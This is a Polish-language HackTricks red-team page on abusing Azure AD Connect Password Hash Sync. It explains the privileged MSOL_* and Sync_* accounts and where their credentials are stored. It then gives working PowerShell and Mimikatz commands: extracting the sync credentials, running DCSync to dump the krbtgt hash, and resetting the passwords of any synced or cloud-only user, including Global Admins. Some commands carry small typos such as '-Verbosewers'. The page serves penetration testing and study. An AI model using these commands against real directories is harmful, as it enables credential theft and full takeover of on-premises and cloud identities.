Az - PHS - Password Hash Sync

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Z dokumentacji: Synchronizacja hasła to jedna z metod logowania używana do osiągnięcia hybrydowej tożsamości. Azure AD Connect synchronizuje skrót hasła użytkownika z lokalnej instancji Active Directory do chmurowej instancji Azure AD.

To najczęstsza metoda używana przez firmy do synchronizacji lokalnego AD z Azure AD.

Wszyscy użytkownicy i skrót skrótów haseł są synchronizowani z lokalnego do Azure AD. Jednak hasła w postaci czystego tekstu lub oryginalne skróty nie są przesyłane do Azure AD. Co więcej, wbudowane grupy zabezpieczeń (takie jak administratorzy domeny...) nie są synchronizowane z Azure AD.

Synchronizacja skrótów zachodzi co 2 minuty. Jednak domyślnie wygaśnięcie hasła i wygaśnięcie konta nie są synchronizowane w Azure AD. Dlatego użytkownik, którego hasło lokalne wygasło (nie zostało zmienione), może nadal uzyskiwać dostęp do zasobów Azure za pomocą starego hasła.

Gdy użytkownik lokalny chce uzyskać dostęp do zasobu Azure, uwierzytelnienie odbywa się w Azure AD.

PHS jest wymagane do funkcji takich jak Ochrona tożsamości i Usługi domen AAD.

Pivoting

Kiedy PHS jest skonfigurowane, automatycznie są tworzone pewne konta uprzywilejowane:

  • Konto MSOL_<installationID> jest automatycznie tworzone w lokalnym AD. Konto to otrzymuje rolę Konta synchronizacji katalogów (zobacz dokumentację), co oznacza, że ma uprawnienia replikacji (DCSync) w lokalnym AD.

  • Konto Sync_<nazwa serwera Azure ADConnect na lokalnym AD>_installationID jest tworzone w Azure AD. To konto może zresetować hasło DOWOLNEGO użytkownika (synchronizowanego lub tylko w chmurze) w Azure AD.

Hasła dwóch powyższych kont uprzywilejowanych są przechowywane w serwerze SQL na serwerze, na którym zainstalowany jest Azure AD Connect. Administratorzy mogą wydobyć hasła tych uprzywilejowanych użytkowników w postaci czystego tekstu. Baza danych znajduje się w C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Możliwe jest wydobycie konfiguracji z jednej z tabel, z których jedna jest zaszyfrowana:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Zaszyfrowana konfiguracja jest zaszyfrowana za pomocą DPAPI i zawiera hasła użytkownika MSOL_* w lokalnym AD oraz hasło Sync_* w AzureAD. Dlatego kompromitując te dane, możliwe jest uzyskanie uprawnień do AD i AzureAD.

Możesz znaleźć pełny przegląd tego, jak te poświadczenia są przechowywane i odszyfrowywane w tej prezentacji.

Znajdowanie serwera Azure AD Connect

Jeśli serwer, na którym zainstalowany jest Azure AD Connect, jest dołączony do domeny (zalecane w dokumentacji), można go znaleźć za pomocą:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Nadużywanie MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Możesz również użyć adconnectdump, aby uzyskać te poświadczenia.

Nadużywanie Sync_*

Zaatakowanie konta Sync_* umożliwia zresetowanie hasła dowolnego użytkownika (w tym Administratorów Globalnych)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Możliwe jest również modyfikowanie haseł tylko użytkowników chmury (nawet jeśli jest to nieoczekiwane)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Możliwe jest również wycieknięcie hasła tego użytkownika.

Inną opcją byłoby przypisanie uprzywilejowanych uprawnień do podmiotu usługi, co użytkownik Sync ma uprawnienia do zrobienia, a następnie uzyskanie dostępu do tego podmiotu usługi jako sposób na eskalację uprawnień.

Bezproblemowe SSO

Możliwe jest korzystanie z Bezproblemowego SSO z PHS, co jest podatne na inne nadużycia. Sprawdź to w:

pageAz - Seamless SSO

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated